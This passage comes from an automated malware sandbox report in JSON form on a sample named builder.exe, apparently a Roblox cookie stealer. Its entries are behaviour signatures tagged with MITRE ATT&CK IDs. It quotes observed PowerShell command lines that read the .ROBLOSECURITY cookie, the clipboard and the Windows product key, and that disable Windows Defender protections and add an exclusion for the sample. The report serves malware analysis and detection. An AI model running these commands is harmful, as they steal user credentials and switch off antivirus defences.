\"00000000-00001732.00000000.176002.D9E30000.00000002.mdmp\")\n Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; Source: \"00000000-00002000.00000001.177576.1388A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-317","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve class object from a DLL object handler","description":"\"_ctypes.pyd\" contains export function called \"DllGetClassObject\" at ordinal 2","origin":"Static Parser","mitre_attack_id":"T1559.001","relevance":1,"id":"static-177","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve file and directory information (API string)","description":"$65","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-207","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve specified item(s) (Powershell command string)","description":"$66","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-394","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve state data for the computer (API string)","description":"Found reference to API \"DsRoleGetPrimaryDomainInformation\" (Indicator: \"DsRoleGetPrimaryDomainInformation\"; Source: \"00000000-00001732.00000000.176002.D9E30000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-116","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the NetBIOS name of the local computer (API string)","description":"Found reference to API \"GetComputerNameExW\" (Indicator: \"GetComputerName\"; Source: \"00000000-00001732.00000000.176002.D9E30000.00000002.mdmp\")\n Found reference to API \"Win32API|GetComputerNameEx|ComputerNameDnsHostname\" (Indicator: \"GetComputerName\"; Source: \"00000000-00002500.00000000.176826.7F1A0000.00000004.mdmp\")\n Found reference to API \"GetComputerNameExW\" (Indicator: \"GetComputerName\"; Source: \"00000000-00002500.00000000.176826.C0162000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-122","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the fully qualified path of module (API string)","description":"Found reference to API \"GetModuleFileNameW\" (Indicator: \"GetModuleFileName\"; File: \"builder.exe\")\n Found reference to API \"GetModuleFileNameA\" (Indicator: \"GetModuleFileName\"; File: \"builder.exe\")\n Found reference to API \"__vcrt_GetModuleFileNameW\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00001004.00000000.176645.C9861000.00000002.mdmp\")\n Found reference to API \"GetModuleFileNameW\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00001004.00000000.176645.C9861000.00000002.mdmp\")\n Found reference to API \"GetModuleFileNameW\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00001732.00000000.176002.D9E30000.00000002.mdmp\")\n Found reference to API \"GetModuleFileNameW\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00002000.00000001.177576.1388A000.00000002.mdmp\")\n Found reference to API \"GetModuleFileNameW\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00002500.00000000.176826.C0162000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-164","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the host's architecture (API string)","description":"Found reference to API \"GetEnvironmentVariableW\" (Indicator: \"GetEnvironmentVariable\"; File: \"builder.exe\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-107","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the specified system metric or system configuration setting (API string)","description":"Found reference to API \"Win32API|GetSystemMetrics|SM_CLEANBOOT\" (Indicator: \"GetSystemMetrics\"; Source: \"00000000-00002500.00000000.176826.7F1A0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-131","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the time elapsed since the system was started (API string)","description":"Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; File: \"00000000-00006940.00000001.176861.00821000.00000040.mdmp\")\n Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; Source: \"00000000-00001732.00000000.176002.D9E30000.00000002.mdmp\")\n Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; Source: \"00000000-00002000.00000001.177576.1388A000.00000002.mdmp\")\n Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; Source: \"00000000-00002500.00000000.176826.C0162000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-205","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve token privileges information (API string)","description":"Found reference to API \"CheckTokenMembership\" (Indicator: \"CheckTokenMembership\"; File: \"builder.exe\")","origin":"File/Memory","mitre_attack_id":"T1134","relevance":1,"id":"string-437","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains string like password/secret","description":"$67","origin":"File/Memory","mitre_attack_id":"T1555","relevance":1,"id":"string-475","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found system command-related strings","description":"$68","origin":"File/Memory","mitre_attack_id":"T1082","relevance":7,"id":"string-126","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"References to WMI query strings used for information discovery","description":"$69","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-507","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Retrieves specified items using PowerShell","description":"Process \"powershell.exe\" with commandline \"powershell Get-Clipboard\" (UID: 00000000-00007588)\n Process \"powershell.exe\" with commandline \"powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\\\\Roblox\\\\RobloxStudioBrowser\\\\roblox.com -Name .ROBLOSECURITY\" (UID: 00000000-00008096)\n Process \"powershell.exe\" with commandline \"powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\\\\Roblox\\\\RobloxStudioBrowser\\\\roblox.com -Name .ROBLOSECURITY\" (UID: 00000000-00001548)\n Process \"powershell.exe\" with commandline \"powershell Get-ItemPropertyValue -Path 'HKLM:System\\\\CurrentControlSet\\\\Control\\\\Session Manager\\\\Environment' -Name PROCESSOR_IDENTIFIER\" (UID: 00000000-00005624)\n Process \"powershell.exe\" with commandline \"powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\SoftwareProtectionPlatform' -Name BackupProductKeyDefault\" (UID: 00000000-00005616)","origin":"Monitored Target","mitre_attack_id":"T1082","relevance":1,"id":"target-477","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"System Destruction","name":"Contains ability to delete a user account from a server (API string)","description":"Found reference to API \"NetUserDel\" (Indicator: \"NetUserDel\"; Source: \"00000000-00001732.00000000.176002.D9E30000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1531","relevance":1,"id":"string-216","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"}]},{"level":"informative","category":"System Destruction","name":"Contains ability to delete users from a group (API string)","description":"Found reference to API \"NetGroupDelUser\" (Indicator: \"NetGroupDelUser\"; Source: \"00000000-00001732.00000000.176002.D9E30000.00000002.mdmp\")\n Found reference to API \"NetGroupDelUser\" (Indicator: \"NetGroupDel\"; Source: \"00000000-00001732.00000000.176002.D9E30000.00000002.mdmp\")\n Found reference to API \"NetGroupDel\" (Indicator: \"NetGroupDel\"; Source: \"00000000-00001732.00000000.176002.D9E30000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1531","relevance":1,"id":"string-218","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"}]},{"level":"informative","category":"System Security","name":"Able to access control system service controller","description":"Found string \"System.ServiceProcess.ServiceController\" (Source: \"00000000-00002000.00000001.177576.1388A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1569.002","relevance":1,"id":"string-936","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"System Security","name":"Calls an API typically used to enable or disable privileges in the specified access token","description":"\"tasklist.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00004020)\n \"tasklist.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00003884)\n \"tasklist.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00007892)\n \"powershell.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00001004)\n \"powershell.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00002000)\n \"powershell.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00007588)","origin":"API Call","mitre_attack_id":"T1134","relevance":3,"id":"api-111","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"System Security","name":"Calls an API used to open a process handle","description":"Observed import api \"OpenProcess\" which can be \"used to open a process handle\" [Source: builder.exe]\n Observed import api \"OpenProcess\" which can be \"used to open a process handle\" [Source: rar.exe]","origin":"Static Parser","mitre_attack_id":"T1489","relevance":5,"id":"static-191","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"System Security","name":"Contains ability to access device drivers","description":"$6a","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-474","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"System Security","name":"Contains ability to delete files/directories (API string)","description":"Found reference to API \"DeleteFileW\" (Indicator: \"DeleteFile\"; File: \"builder.exe\")\n Found reference to API \"RemoveDirectoryW\" (Indicator: \"RemoveDirectory\"; File: \"builder.exe\")","origin":"File/Memory","mitre_attack_id":"T1070.004","relevance":1,"id":"string-308","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"System Security","name":"Contains ability to disable Windows Defender using PowerShell","description":"$6b","origin":"File/Memory","mitre_attack_id":"T1685","relevance":1,"id":"string-748","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify Windows Defender preferences (Powershell command string)","description":"$6c","origin":"File/Memory","mitre_attack_id":"T1685","relevance":1,"id":"string-275","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify access token privileges (API string)","description":"Found reference to API \"AdjustTokenPrivileges\" (Indicator: \"AdjustTokenPrivileges\"; File: \"builder.exe\")\n Found reference to API \"LookupPrivilegeValueW\" (Indicator: \"LookupPrivilegeValue\"; File: \"builder.exe\")\n Found reference to API \"CheckTokenMembership\" (Indicator: \"CheckTokenMembership\"; File: \"builder.exe\")\n Found reference to API \"SeDebugPrivilege\" (Indicator: \"SeDebugPrivilege\"; Source: \"00000000-00003884.00000000.176630.B15B0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134","relevance":1,"id":"string-77","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify file attributes (API string)","description":"Found reference to API \"SetFileAttributesW\" (Indicator: \"SetFileAttributes\"; File: \"builder.exe\")","origin":"File/Memory","mitre_attack_id":"T1222","relevance":1,"id":"string-426","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify the user configuration/privilege (API string)","description":"Found reference to API \"SystemParametersInfoW\" (Indicator: \"SystemParametersInfo\"; File: \"builder.exe\")","origin":"File/Memory","mitre_attack_id":"T1098","relevance":1,"id":"string-132","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"System Security","name":"Contains ability to obtains specified information about the security of a file or directory (API string)","description":"$6d","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-114","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"System Security","name":"Contains ability to shutdown system","description":"Observed string: \"Shutdown System Privilege\" (Indicator: \"shutdown \") in Source: 00000000-00003884.00000000.176630.B2F70000.00000002.mdmp","origin":"File/Memory","mitre_attack_id":"T1529","relevance":1,"id":"string-406","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"}]},{"level":"informative","category":"System Security","name":"Contains ability to terminate a process (API string)","description":"Found reference to API \"TerminateProcess\" (Indicator: \"TerminateProcess\"; File: \"builder.exe\")\n Found reference to API \"ExitProcess\" (Indicator: \"ExitProcess\"; File: \"builder.exe\")\n Found reference to API \"CorExitProcess\" (Indicator: \"ExitProcess\"; File: \"builder.exe\")\n Found reference to API \"TerminateProcess\" (Indicator: \"TerminateProcess\"; Source: \"00000000-00001004.00000000.176645.C9861000.00000002.mdmp\")\n Found reference to API \"TerminateProcess\" (Indicator: \"TerminateProcess\"; Source: \"00000000-00001732.00000000.176002.D9E30000.00000002.mdmp\")\n Found reference to API \"TerminateProcess\" (Indicator: \"TerminateProcess\"; Source: \"00000000-00002000.00000001.177576.1388A000.00000002.mdmp\")\n Found reference to API \"TerminateProcess\" (Indicator: \"TerminateProcess\"; Source: \"00000000-00002500.00000000.176826.C0162000.00000002.mdmp\")\n Found reference to API \"ExitProcess\" (Indicator: \"ExitProcess\"; Source: \"00000000-00002500.00000000.176826.C0162000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-316","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"System Security","name":"Contains ability to use security policy setting (API string)","description":"Found reference to API \"SeSystemEnvironmentPrivilege\" (Indicator: \"SeSystemEnvironmentPrivilege\"; Source: \"00000000-00002500.00000000.176826.7F1A0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1548","relevance":3,"id":"string-97","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"}]},{"level":"informative","category":"System Security","name":"Contains ability to write files (API string)","description":"Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; File: \"builder.exe\")\n Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"00000000-00001732.00000000.176002.D9E30000.00000002.mdmp\")\n Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"00000000-00002000.00000001.177576.1388A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1105","id":"string-535","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"System Security","name":"Creates or modifies windows services","description":"$6e","origin":"Registry Access","mitre_attack_id":"T1543.003","relevance":10,"id":"registry-67","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"System Security","name":"Imports system security related APIs","description":"$6f","origin":"Static Parser","mitre_attack_id":"T1134.001","relevance":1,"id":"static-87","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"System Security","name":"Opens the Kernel Security Device Driver (KsecDD) of Windows","description":"\"builder.exe\" opened \"\\Device\\KsecDD\"\n \"net.exe\" opened \"\\Device\\KsecDD\"\n \"net1.exe\" opened \"\\Device\\KsecDD\"\n \"WMIC.exe\" opened \"\\Device\\KsecDD\"\n \"systeminfo.exe\" opened \"\\Device\\KsecDD\"\n \"Camera.exe\" opened \"\\Device\\KsecDD\"","origin":"API Call","mitre_attack_id":"T1068","relevance":10,"id":"api-37","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"System Security","name":"Queries services related registry keys","description":"$70","origin":"Registry Access","mitre_attack_id":"T1007","relevance":1,"id":"registry-173","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"System Security","name":"Uses powershell with a add-mppreference commandline param","description":"Process \"powershell.exe\" with commandline \"powershell -Command Add-MpPreference -ExclusionPath 'C:\\\\builder.exe'\" (UID: 00000000-00001004)","origin":"Monitored Target","mitre_attack_id":"T1685","relevance":3,"id":"target-236","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"System Security","name":"Writes registry keys","description":"$71","origin":"Registry Access","mitre_attack_id":"T1112","relevance":3,"id":"registry-136","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains ability to free the memory used by network management functions (API string)","description":"Found reference to API \"NetApiBufferFree\" (Indicator: \"NetApiBufferFree\"; Source: \"00000000-00001732.00000000.176002.D9E30000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-223","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains ability to reboot/shutdown the operating system (API string)","description":"Found reference to API \"ExitWindowsEx\" (Indicator: \"ExitWindows\"; File: \"builder.exe\")","origin":"File/Memory","mitre_attack_id":"T1529","relevance":3,"id":"string-189","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains ability to set/modify configuration (Powershell command string)","description":"$72","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-395","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops executable files inside temp directory","description":"$73","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-33","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops file with high entropy, indicating encryption/obfuscation","description":"\"Camera has high entropy\"","origin":"Binary File","mitre_attack_id":"T1560.003","relevance":3,"id":"binary-90","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops files inside appdata directory","description":"Dropped file: \"StartupProfileData-NonInteractive\" - Location: [%LOCALAPPDATA%\\Microsoft\\Windows\\PowerShell\\StartupProfileData-NonInteractive]- [targetUID: 00000000-00001004]","origin":"Binary File","mitre_attack_id":"T1036","relevance":3,"id":"binary-37","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Unusual Characteristics","name":"Input file contains API references not part of its Import Address Table (IAT)","description":"Found string \"fread\" (Source: builder.exe, API is part of module: MSVCRT.DLL)\n Found string \"fwrite\" (Source: builder.exe, API is part of module: MSVCRT.DLL)\n Found string \"fseek\" (Source: builder.exe, API is part of module: MSVCRT.DLL)\n Found string \"fopen\" (Source: builder.exe, API is part of module: MSVCRT.DLL)\n Found string \"InitializeCriticalSectionEx\" (Source: builder.exe, API is part of module: KERNELBASE.DLL)\n Found string \"AreFileApisANSI\" (Source: builder.exe, API is part of module: KERNELBASE.DLL)\n Found string \"CompareStringEx\" (Source: builder.exe, API is part of module: KERNELBASE.DLL)\n Found string \"LCMapStringEx\" (Source: builder.exe, API is part of module: KERNELBASE.DLL)\n Found string \"LocaleNameToLCID\" (Source: builder.exe, API is part of module: KERNELBASE.DLL)\n Found string \"AppPolicyGetProcessTerminationMethod\" (Source: builder.exe, API is part of module: KERNELBASE.DLL)\n Found string \"log10\" (Source: builder.exe, API is part of module: MSVCRT.DLL)","origin":"File/Memory","mitre_attack_id":"T1106","relevance":10,"id":"string-64","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Unusual Characteristics","name":"Matched Compiler/Packer signature","description":"\"Camera.exe\" was detected as \"UPX v1.25 (Delphi) Stub\"","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":10,"id":"static-18","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads the windows installation language","description":"\"cmd.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")\n \"net1.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")\n \"WMIC.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")\n \"Camera.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE\"; Key: \"INSTALLLANGUAGEFALLBACK\")","origin":"Registry Access","mitre_attack_id":"T1614.001","relevance":2,"id":"registry-26","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Unusual Characteristics","name":"Set/modify configurations using PowerShell","description":"Process \"powershell.exe\" with commandline \"powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend\" (UID: 00000000-00002000)","origin":"Monitored Target","mitre_attack_id":"T1543.003","relevance":3,"id":"target-479","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Section contains high entropy","description":"$74","origin":"Static 